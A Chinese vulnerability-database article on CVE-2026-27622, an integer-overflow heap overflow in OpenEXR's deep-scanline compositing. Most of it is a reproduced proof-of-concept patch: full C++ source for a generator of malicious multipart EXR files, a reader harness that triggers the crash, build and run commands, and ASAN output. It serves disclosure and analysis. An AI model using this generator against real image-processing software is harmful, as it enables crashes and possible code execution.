首页 网络安全 正文
  • 本文约11712字,阅读需59分钟
  • 7
  • 0

OpenEXR中的堆溢出漏洞CVE-2026-27622

摘要

栋科技漏洞库关注到 OpenEXR 中存在的整数溢出导致堆溢出漏洞,漏洞现已经被追踪为CVE-2026-27622,漏洞的CVSS 4.0评分8.4。

OpenEXR 是电影行业广泛使用的 EXR 图像格式的规范及参考实现,其高效压缩算法的提供了多种无损 / 有损压缩,平衡质量与体积。

一、基本情况

OpenEXR(简称 EXR)是电影与视觉特效工业的标准高动态范围(HDR)图像格式,在计算机图形学里已被广泛用于存储图像数据。

OpenEXR中的堆溢出漏洞CVE-2026-27622

OpenEXR由 Academy Software Foundation(ASWF)维护,核心是高精度、多通道、场景线性、可扩展,专为专业渲染与合成设计。

栋科技漏洞库关注到 OpenEXR 中存在的整数溢出导致堆溢出漏洞,漏洞现已经被追踪为CVE-2026-27622,漏洞的CVSS 4.0评分8.4。

二、漏洞分析

CVE-2026-27622漏洞是 OpenEXR 受影响版本中存在的因整数溢出而导致堆溢出漏洞,具体分析如下:

在处理深层扫描线数据(Deep Scanline)的 CompositeDeepScanLine::readPixels 函数中,程序将每像素总量累加至total_sizes向量。

由于缺少对像素计数的有效范围校验,攻击者构造的超大像素值会导致 2^32 整数回绕(溢出)。

程序随后根据溢出错误小数值进行缓冲区分配(resize),但在generic_unpack_deep_pointers执行写入操作时仍使用原始的真实计数。

最终导致堆缓冲区溢出(Heap Buffer Overrun),可能造成程序崩溃或远程代码执行。

三、POC概念验证

攻击者提供了一个包含多个部分且每个像素具有大量样本的多部分深度EXR。

使用压缩(RLE/ZIPS)来保持文件大小相对较小,同时减轻解码压力。

在复合样本计算(无符号整数)中发生了溢出,而解码的指针递增使用了更大的计数器,并达到了越界值。

测试环境:OpenEXR 4.0.0-dev(提交号8344966),但此代码自v2.3.0版本起就已存在

1、使用的PoC文件:

composite_deepscanline_poc_bundle.patch

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 589f409d..e674400e 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -150,3 +150,8 @@ endif()
 if (OPENEXR_BUILD_PYTHON AND OPENEXR_BUILD_LIBS AND NOT OPENEXR_IS_SUBPROJECT)
   add_subdirectory(src/wrappers/python)
 endif()
+
+option(OPENEXR_BUILD_POC "Build local PoC harnesses under poc/")
+if (OPENEXR_BUILD_POC AND OPENEXR_BUILD_LIBS)
+  add_subdirectory(poc)
+endif()
diff --git a/poc/CMakeLists.txt b/poc/CMakeLists.txt
new file mode 100644
index 00000000..18f2b080
--- /dev/null
+++ b/poc/CMakeLists.txt
@@ -0,0 +1,23 @@
+# SPDX-License-Identifier: BSD-3-Clause
+
+cmake_minimum_required(VERSION 3.14)
+
+add_executable(
+  composite_writer
+  composite_deep_scanline_e2e_compressed_poc.cpp
+)
+target_link_liparies(
+  composite_writer
+  PRIVATE
+    OpenEXR::OpenEXR
+)
+
+add_executable(
+  simple_exr_reader
+  simple_exr_reader.cpp
+)
+target_link_liparies(
+  simple_exr_reader
+  PRIVATE
+    OpenEXR::OpenEXR
+)
diff --git a/poc/COMPOSITE_DEEP_SCANLINE_VULN_REPORT.md b/poc/COMPOSITE_DEEP_SCANLINE_VULN_REPORT.md
new file mode 100644
index 00000000..7803d918
--- /dev/null
+++ b/poc/COMPOSITE_DEEP_SCANLINE_VULN_REPORT.md
@@ -0,0 +1,164 @@
+## Summary
+
+Function: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).
+
+Vulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):
+- `total_sizes[ptr] += counts[j][ptr];` (line ~511)
+- `overall_sample_count += total_sizes[ptr];` (line ~514)
+- `samples[channel].resize (overall_sample_count);` (line ~535)
+
+Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).
+
+Attack scenario:
+- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
+- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
+- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.
+
+Tested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
+
+## Steps to reproduce
+
+PoC files used:
+- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`
+- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`
+
+The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.
+
+Build with ASAN/UBSAN:
+
+```bash
+cmake -S . -B build-asan \
+  -DOPENEXR_BUILD_POC=ON \
+  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
+  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
+  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
+  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
+  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
+
+cmake --build build-asan --target composite_writer simple_exr_reader -j
+```
+
+Generate malicious file (decode-path focused profile):
+
+```bash
+ASAN_OPTIONS=detect_leaks=0 timeout 180s \
+  ./build-asan/poc/composite_writer \
+  --profile low-ram \
+  --file /tmp/composite_decode_focus.exr
+```
+
+Trigger:
+
+```bash
+ASAN_OPTIONS=detect_leaks=0 timeout 30s \
+  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
+```
+
+ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
+
+## Example runs
+
+Writer (abpev):
+
+```text
+❯ ./build-asan/poc/composite_writer
+exploit math:
+  benign samples                 : 300
+  malicious parts                : 86
+  malicious samples per part     : 50000000
+  true total samples             : 4300000300
+  uint32 overflow reached        : yes
+  wrapped uint32 total           : 5033004
+  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
+  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
+  min parts to overflow (current benign/samples): 86
+writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
+writing donor malicious part (50000000 samples)
+copying malicious part 1/86 from donor chunk
+...
+file size: 26112896 bytes (24.90 MiB)
+```
+
+Reader ASAN crash:
+
+```bash
+❯ ./build-asan/poc/simple_exr_reader
+reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
+=================================================================
+==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
+WRITE of size 4 at 0x7ed1a55d90b0 thread T0
+    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
+    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
+    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
+    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
+    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
+    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
+    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
+    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
+    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
+
+0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
+allocated by thread T0 here:
+    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
+    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
+    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
+    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
+    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
+    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
+    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
+    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
+    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
+    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
+    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
+    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
+
+SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
+Shadow bytes around the buggy address:
+  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
+  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+Shadow byte legend (one shadow byte represents 8 application bytes):
+  Addressable:           00
+  Partially addressable: 01 02 03 04 05 06 07
+  Heap left redzone:       fa
+  Freed heap region:       fd
+  Stack left redzone:      f1
+  Stack mid redzone:       f2
+  Stack right redzone:     f3
+  Stack after return:      f5
+  Stack use after scope:   f8
+  Global redzone:          f9
+  Global init order:       f6
+  Poisoned by user:        f7
+  Container overflow:      fc
+  Array cookie:            ac
+  Intra object redzone:    bb
+  ASan internal:           fe
+  Left alloca redzone:     ca
+  Right alloca redzone:    cb
+==175024==ABORTING
+```
+
+## Root cause analysis
+
+In `CompositeDeepScanLine::readPixels`:
+
+1. Per-pixel totals are accumulated in `vector<unsigned int> total_sizes`.
+2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.
+3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.
+4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.
+
+
+Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
+
+## Impact
+
+Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
diff --git a/poc/composite_deep_scanline_e2e_compressed_poc.cpp b/poc/composite_deep_scanline_e2e_compressed_poc.cpp
new file mode 100644
index 00000000..b0bf7748
--- /dev/null
+++ b/poc/composite_deep_scanline_e2e_compressed_poc.cpp
@@ -0,0 +1,431 @@
+// SPDX-License-Identifier: BSD-3-Clause
+//
+// Writer PoC for CompositeDeepScanLine integer-overflow trigger input.
+//
+// This PoC:
+// 1) writes a deep multipart file with ZIPS or RLE compression
+// 2) uses one benign part + many large-count parts
+//
+// Build:
+// cmake -S . -B build-asan -DOPENEXR_BUILD_POC=ON
+// cmake --build build-asan --target composite_writer
+//
+// Run:
+// ./build-asan/poc/composite_writer \
+//   --file /tmp/composite_deep_scanline_e2e_compressed.exr
+
+#include <ImfChannelList.h>
+#include <ImfCompression.h>
+#include <ImfDeepFrameBuffer.h>
+#include <ImfDeepScanLineInputFile.h>
+#include <ImfDeepScanLineOutputFile.h>
+#include <ImfDeepScanLineOutputPart.h>
+#include <ImfHeader.h>
+#include <ImfMultiPartOutputFile.h>
+#include <ImfPartType.h>
+#include <ImfPixelType.h>
+
+#include <ImathBox.h>
+#include <half.h>
+
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+#include <cerrno>
+#include <cstdint>
+#include <cstdlib>
+#include <cstring>
+#include <iomanip>
+#include <iostream>
+#include <limits>
+#include <sstream>
+#include <stdexcept>
+#include <string>
+#include <vector>
+
+using OPENEXR_IMF_NAMESPACE::Channel;
+using OPENEXR_IMF_NAMESPACE::Compression;
+using OPENEXR_IMF_NAMESPACE::DEEPSCANLINE;
+using OPENEXR_IMF_NAMESPACE::DeepFrameBuffer;
+using OPENEXR_IMF_NAMESPACE::DeepScanLineInputFile;
+using OPENEXR_IMF_NAMESPACE::DeepScanLineOutputFile;
+using OPENEXR_IMF_NAMESPACE::DeepScanLineOutputPart;
+using OPENEXR_IMF_NAMESPACE::DeepSlice;
+using OPENEXR_IMF_NAMESPACE::FLOAT;
+using OPENEXR_IMF_NAMESPACE::HALF;
+using OPENEXR_IMF_NAMESPACE::Header;
+using OPENEXR_IMF_NAMESPACE::INCREASING_Y;
+using OPENEXR_IMF_NAMESPACE::MultiPartOutputFile;
+using OPENEXR_IMF_NAMESPACE::RLE_COMPRESSION;
+using OPENEXR_IMF_NAMESPACE::Slice;
+using OPENEXR_IMF_NAMESPACE::UINT;
+using OPENEXR_IMF_NAMESPACE::ZIPS_COMPRESSION;
+using IMATH_NAMESPACE::Box2i;
+using IMATH_NAMESPACE::V2f;
+using IMATH_NAMESPACE::V2i;
+
+namespace
+{
+struct Config
+{
+    std::string file = "/tmp/composite_deep_scanline_e2e_compressed.exr";
+    uint32_t    benign_samples = 300;
+    uint32_t    malicious_samples = 50000000;
+    int         malicious_parts = 86;
+    Compression compression = ZIPS_COMPRESSION;
+    uint64_t    max_per_part_unpacked_mib = 2048;
+    bool        auto_overflow = true;
+    bool        force = false;
+    bool        copy_malicious_parts = true;
+};
+
+[[noreturn]] void die (const std::string& msg)
+{
+    throw std::runtime_error (msg);
+}
+
+uint64_t file_size (const std::string& path)
+{
+    struct stat st;
+    if (stat (path.c_str (), &st) != 0)
+    {
+        die ("stat failed for " + path + ": " + std::strerror (errno));
+    }
+    return static_cast<uint64_t> (st.st_size);
+}
+
+std::string human_bytes (uint64_t bytes)
+{
+    static const char* units[] = {"B", "KiB", "MiB", "GiB", "TiB"};
+    double             v       = static_cast<double> (bytes);
+    size_t             i       = 0;
+    while (v >= 1024.0 && i < 4)
+    {
+        v /= 1024.0;
+        ++i;
+    }
+    std::ostringstream oss;
+    oss << std::fixed << std::setprecision (2) << v << ' ' << units[i];
+    return oss.str ();
+}
+
+Compression parse_compression (const std::string& s)
+{
+    if (s == "zips") return ZIPS_COMPRESSION;
+    if (s == "rle") return RLE_COMPRESSION;
+    die ("unsupported compression: " + s + " (expected zips|rle)");
+}
+
+void apply_profile (Config& cfg, const std::string& s)
+{
+    if (s == "low-ram")
+    {
+        cfg.compression = RLE_COMPRESSION;
+        cfg.malicious_samples = 5000000;
+        cfg.malicious_parts   = 860;
+        cfg.auto_overflow     = true;
+        cfg.max_per_part_unpacked_mib = 512;
+        return;
+    }
+    die ("unsupported profile: " + s + " (expected low-ram)");
+}
+
+int min_parts_for_overflow (uint32_t benign_samples, uint32_t malicious_samples)
+{
+    if (malicious_samples == 0) die ("--malicious-samples must be > 0");
+    const uint64_t wrap_base = uint64_t (std::numeric_limits<uint32_t>::max ()) + 1ULL;
+    const uint64_t remaining = wrap_base - uint64_t (benign_samples);
+    const uint64_t parts =
+        (remaining + uint64_t (malicious_samples) - 1ULL) / uint64_t (malicious_samples);
+    if (parts == 0 || parts > uint64_t (std::numeric_limits<int>::max ()))
+    {
+        die ("computed malicious part count is out of range");
+    }
+    return static_cast<int> (parts);
+}
+
+Config parse_args (int argc, char** argv)
+{
+    Config cfg;
+    for (int i = 1; i < argc; ++i)
+    {
+        std::string a = argv[i];
+        auto need = [&] () {
+            if (i + 1 >= argc) die ("missing value for " + a);
+            return std::string (argv[++i]);
+        };
+
+        if (a == "--file") cfg.file = need ();
+        else if (a == "--benign-samples")
+            cfg.benign_samples = static_cast<uint32_t> (std::stoul (need ()));
+        else if (a == "--malicious-samples")
+            cfg.malicious_samples = static_cast<uint32_t> (std::stoul (need ()));
+        else if (a == "--malicious-parts")
+            cfg.malicious_parts = std::stoi (need ());
+        else if (a == "--compression")
+            cfg.compression = parse_compression (need ());
+        else if (a == "--profile")
+            apply_profile (cfg, need ());
+        else if (a == "--auto-overflow")
+            cfg.auto_overflow = true;
+        else if (a == "--max-per-part-unpacked-mib")
+            cfg.max_per_part_unpacked_mib = std::stoull (need ());
+        else if (a == "--force")
+            cfg.force = true;
+        else if (a == "--no-copy-malicious")
+            cfg.copy_malicious_parts = false;
+        else if (a == "--help")
+        {
+            std::cout
+                << "Usage: " << argv[0] << " [options]\n"
+                << "  --file PATH\n"
+                << "  --profile low-ram\n"
+                << "  --compression zips|rle\n"
+                << "  --benign-samples N\n"
+                << "  --malicious-samples N\n"
+                << "  --malicious-parts N\n"
+                << "  --auto-overflow\n"
+                << "  --max-per-part-unpacked-mib N\n"
+                << "  --force\n"
+                << "  --no-copy-malicious\n";
+            std::exit (0);
+        }
+        else
+            die ("unknown argument: " + a);
+    }
+    if (cfg.auto_overflow)
+    {
+        cfg.malicious_parts =
+            min_parts_for_overflow (cfg.benign_samples, cfg.malicious_samples);
+    }
+    if (cfg.malicious_samples == 0)
+    {
+        die ("--malicious-samples must be > 0");
+    }
+    if (cfg.malicious_parts <= 0)
+    {
+        die ("--malicious-parts must be > 0");
+    }
+    const uint64_t per_part_unpacked =
+        uint64_t (cfg.malicious_samples) * (sizeof (float) + sizeof (half));
+    const uint64_t max_unpacked = cfg.max_per_part_unpacked_mib * 1024ULL * 1024ULL;
+    if (!cfg.force && per_part_unpacked > max_unpacked)
+    {
+        std::ostringstream oss;
+        oss << "per-part unpacked payload is " << human_bytes (per_part_unpacked)
+            << " (limit " << cfg.max_per_part_unpacked_mib
+            << " MiB). Use smaller --malicious-samples with --auto-overflow, "
+               "--profile low-ram, or pass --force.";
+        die (oss.str ());
+    }
+    return cfg;
+}
+
+Header make_header (int part, Compression comp)
+{
+    const Box2i display_window (V2i (0, 0), V2i (0, 0));
+    const Box2i data_window (V2i (0, 0), V2i (0, 0));
+
+    Header h (display_window, data_window, 1.0f, V2f (0, 0), 1.0f, INCREASING_Y, comp);
+    h.setType (DEEPSCANLINE);
+    h.setName (std::string ("Part") + std::to_string (part));
+    h.channels ().insert ("Z", Channel (FLOAT));
+    h.channels ().insert ("A", Channel (HALF));
+    return h;
+}
+
+void set_deep_fb (
+    DeepFrameBuffer&             fb,
+    std::vector<uint32_t>&       counts,
+    std::vector<float*>&         z_ptrs,
+    std::vector<half*>& a_ptrs)
+{
+    fb.insertSampleCountSlice (
+        Slice (UINT, reinterpret_cast<char*> (&counts[0]), sizeof (uint32_t), sizeof (uint32_t)));
+
+    fb.insert (
+        "Z",
+        DeepSlice (
+            FLOAT,
+            reinterpret_cast<char*> (&z_ptrs[0]),
+            sizeof (float*),
+            sizeof (float*),
+            sizeof (float)));
+
+    fb.insert (
+        "A",
+        DeepSlice (
+            HALF,
+            reinterpret_cast<char*> (&a_ptrs[0]),
+            sizeof (half*),
+            sizeof (half*),
+            sizeof (half)));
+}
+
+void write_benign_part (DeepScanLineOutputPart& part, uint32_t benign_samples)
+{
+    std::vector<uint32_t>       counts (1, benign_samples);
+    std::vector<float>          z (benign_samples, 1.0f);
+    std::vector<half> a (benign_samples, half (1.0f));
+    std::vector<float*>         z_ptrs (1, z.data ());
+    std::vector<half*> a_ptrs (1, a.data ());
+
+    DeepFrameBuffer fb;
+    set_deep_fb (fb, counts, z_ptrs, a_ptrs);
+    part.setFrameBuffer (fb);
+    part.writePixels (1);
+}
+
+struct HugeMappedBuffers
+{
+    void*    z_map   = MAP_FAILED;
+    void*    a_map   = MAP_FAILED;
+    uint64_t z_bytes = 0;
+    uint64_t a_bytes = 0;
+
+    HugeMappedBuffers (uint32_t samples)
+    {
+        z_bytes = uint64_t (samples) * sizeof (float);
+        a_bytes = uint64_t (samples) * sizeof (half);
+
+        z_map = mmap (nullptr, z_bytes, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+        if (z_map == MAP_FAILED)
+        {
+            die ("mmap for Z failed: " + std::string (std::strerror (errno)));
+        }
+
+        a_map = mmap (nullptr, a_bytes, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+        if (a_map == MAP_FAILED)
+        {
+            munmap (z_map, z_bytes);
+            die ("mmap for A failed: " + std::string (std::strerror (errno)));
+        }
+    }
+
+    ~HugeMappedBuffers ()
+    {
+        if (z_map != MAP_FAILED) munmap (z_map, z_bytes);
+        if (a_map != MAP_FAILED) munmap (a_map, a_bytes);
+    }
+};
+
+void write_file (const Config& cfg)
+{
+    const int total_parts = 1 + cfg.malicious_parts;
+
+    std::vector<Header> headers;
+    headers.reserve (static_cast<size_t> (total_parts));
+    for (int i = 0; i < total_parts; ++i)
+    {
+        headers.push_back (make_header (i, cfg.compression));
+    }
+
+    std::remove (cfg.file.c_str ());
+    MultiPartOutputFile out (cfg.file.c_str (), headers.data (), total_parts);
+
+    {
+        DeepScanLineOutputPart benign (out, 0);
+        write_benign_part (benign, cfg.benign_samples);
+    }
+
+    if (cfg.copy_malicious_parts)
+    {
+        const std::string donor = cfg.file + ".donor_malicious.exr";
+        {
+            Header                 dh = make_header (0, cfg.compression);
+            DeepScanLineOutputFile dout (donor.c_str (), dh, 0);
+
+            HugeMappedBuffers mapped (cfg.malicious_samples);
+            std::vector<uint32_t>       counts (1, cfg.malicious_samples);
+            std::vector<float*>         z_ptrs (1, static_cast<float*> (mapped.z_map));
+            std::vector<half*> a_ptrs (1, static_cast<half*> (mapped.a_map));
+            DeepFrameBuffer fb;
+            set_deep_fb (fb, counts, z_ptrs, a_ptrs);
+            dout.setFrameBuffer (fb);
+            std::cout << "writing donor malicious part (" << cfg.malicious_samples
+                      << " samples)\n";
+            dout.writePixels (1);
+        }
+
+        DeepScanLineInputFile donor_in (donor.c_str ());
+        for (int i = 0; i < cfg.malicious_parts; ++i)
+        {
+            DeepScanLineOutputPart p (out, i + 1);
+            std::cout << "copying malicious part " << (i + 1) << "/"
+                      << cfg.malicious_parts << " from donor chunk\n";
+            p.copyPixels (donor_in);
+        }
+        std::remove (donor.c_str ());
+    }
+    else
+    {
+        HugeMappedBuffers mapped (cfg.malicious_samples);
+        std::vector<uint32_t>       counts (1, cfg.malicious_samples);
+        std::vector<float*>         z_ptrs (1, static_cast<float*> (mapped.z_map));
+        std::vector<half*> a_ptrs (1, static_cast<half*> (mapped.a_map));
+
+        for (int i = 0; i < cfg.malicious_parts; ++i)
+        {
+            DeepFrameBuffer       fb;
+            DeepScanLineOutputPart p (out, i + 1);
+            set_deep_fb (fb, counts, z_ptrs, a_ptrs);
+            p.setFrameBuffer (fb);
+
+            std::cout << "writing malicious part " << (i + 1) << "/"
+                      << cfg.malicious_parts << " (" << cfg.malicious_samples
+                      << " samples)\n";
+            p.writePixels (1);
+        }
+    }
+}
+
+void print_math (const Config& cfg)
+{
+    const uint64_t true_total =
+        uint64_t (cfg.benign_samples) + uint64_t (cfg.malicious_parts) * uint64_t (cfg.malicious_samples);
+    const uint32_t wrapped = static_cast<uint32_t> (true_total);
+    const bool     overflowed = true_total > uint64_t (std::numeric_limits<uint32_t>::max ());
+
+    const uint64_t composite_alloc = uint64_t (wrapped) * 2ULL * sizeof (float);
+
+    std::cout << "exploit math:\n";
+    std::cout << "  benign samples                 : " << cfg.benign_samples << "\n";
+    std::cout << "  malicious parts                : " << cfg.malicious_parts << "\n";
+    std::cout << "  malicious samples per part     : " << cfg.malicious_samples << "\n";
+    std::cout << "  true total samples             : " << true_total << "\n";
+    std::cout << "  uint32 overflow reached        : " << (overflowed ? "yes" : "no") << "\n";
+    std::cout << "  wrapped uint32 total           : " << wrapped << "\n";
+    std::cout << "  composite Z/A alloc from wrap  : " << composite_alloc << " bytes ("
+              << human_bytes (composite_alloc) << ")\n";
+
+    const uint64_t per_part_unpacked =
+        uint64_t (cfg.malicious_samples) * (sizeof (float) + sizeof (half));
+    std::cout << "  per-part unpacked sample bytes : " << per_part_unpacked << " bytes ("
+              << human_bytes (per_part_unpacked) << ")\n";
+    std::cout << "  min parts to overflow (current benign/samples): "
+              << min_parts_for_overflow (cfg.benign_samples, cfg.malicious_samples)
+              << "\n";
+}
+} // namespace
+
+int main (int argc, char** argv)
+{
+    try
+    {
+        Config cfg = parse_args (argc, argv);
+        print_math (cfg);
+
+        std::cout << "writing compressed multipart deep EXR: " << cfg.file << "\n";
+        write_file (cfg);
+        const uint64_t sz = file_size (cfg.file);
+        std::cout << "file size: " << sz << " bytes (" << human_bytes (sz) << ")\n";
+    }
+    catch (const std::exception& e)
+    {
+        std::cerr << "error: " << e.what () << "\n";
+        return 1;
+    }
+
+    return 0;
+}
diff --git a/poc/simple_exr_reader.cpp b/poc/simple_exr_reader.cpp
new file mode 100644
index 00000000..56104abc
--- /dev/null
+++ b/poc/simple_exr_reader.cpp
@@ -0,0 +1,97 @@
+// SPDX-License-Identifier: BSD-3-Clause
+//
+// Minimal high-level reader harness:
+// - open multipart EXR
+// - composite deep parts
+// - read pixels
+//
+// Build:
+// cmake -S . -B build-asan -DOPENEXR_BUILD_POC=ON
+// cmake --build build-asan --target simple_exr_reader
+
+#include <ImfCompositeDeepScanLine.h>
+#include <ImfDeepScanLineInputPart.h>
+#include <ImfFrameBuffer.h>
+#include <ImfMultiPartInputFile.h>
+#include <ImfPartType.h>
+#include <ImfPixelType.h>
+
+#include <ImathBox.h>
+
+#include <iostream>
+#include <memory>
+#include <vector>
+
+using OPENEXR_IMF_NAMESPACE::CompositeDeepScanLine;
+using OPENEXR_IMF_NAMESPACE::DeepScanLineInputPart;
+using OPENEXR_IMF_NAMESPACE::DEEPSCANLINE;
+using OPENEXR_IMF_NAMESPACE::FLOAT;
+using OPENEXR_IMF_NAMESPACE::FrameBuffer;
+using OPENEXR_IMF_NAMESPACE::MultiPartInputFile;
+using OPENEXR_IMF_NAMESPACE::Slice;
+using IMATH_NAMESPACE::Box2i;
+
+int main (int argc, char** argv)
+{
+    try
+    {
+        const char* path =
+            (argc > 1) ? argv[1] : "/tmp/composite_overflow_optimized.exr";
+
+        MultiPartInputFile in (path);
+        CompositeDeepScanLine comp;
+        std::vector<std::unique_ptr<DeepScanLineInputPart>> parts;
+        parts.reserve (static_cast<size_t> (in.parts ()));
+
+        for (int i = 0; i < in.parts (); ++i)
+        {
+            const auto& h = in.header (i);
+            if (!h.hasType () || h.type () != DEEPSCANLINE) continue;
+            parts.emplace_back (new DeepScanLineInputPart (in, i));
+            comp.addSource (parts.back ().get ());
+        }
+
+        if (parts.empty ())
+        {
+            std::cerr << "error: no deepscanline parts found in " << path << "\n";
+            return 1;
+        }
+
+        const Box2i& dw    = comp.dataWindow ();
+        const int    width = dw.size ().x + 1;
+        const int    rows  = dw.size ().y + 1;
+        std::vector<float> z (
+            static_cast<size_t> (width) * static_cast<size_t> (rows), 0.0f);
+        std::vector<float> a (z.size (), 0.0f);
+
+        FrameBuffer fb;
+        fb.insert (
+            "Z",
+            Slice (
+                FLOAT,
+                reinterpret_cast<char*> (
+                    z.data () - dw.min.x - dw.min.y * width),
+                sizeof (float),
+                sizeof (float) * width));
+        fb.insert (
+            "A",
+            Slice (
+                FLOAT,
+                reinterpret_cast<char*> (
+                    a.data () - dw.min.x - dw.min.y * width),
+                sizeof (float),
+                sizeof (float) * width));
+
+        comp.setFrameBuffer (fb);
+        std::cout << "reading " << path << " with " << parts.size ()
+                  << " deepscanline parts\n";
+        comp.readPixels (dw.min.y, dw.max.y);
+        std::cout << "completed read\n";
+    }
+    catch (const std::exception& e)
+    {
+        std::cerr << "error: " << e.what () << "\n";
+        return 1;
+    }
+    return 0;
+}

编写器/生成器:poc/composite_deep_scanline_e2e_compressed_poc.cpp

最小化高级读取器工具:poc/simple_exr_reader.cpp

读取器工具故意模仿了真实的应用程序行为:

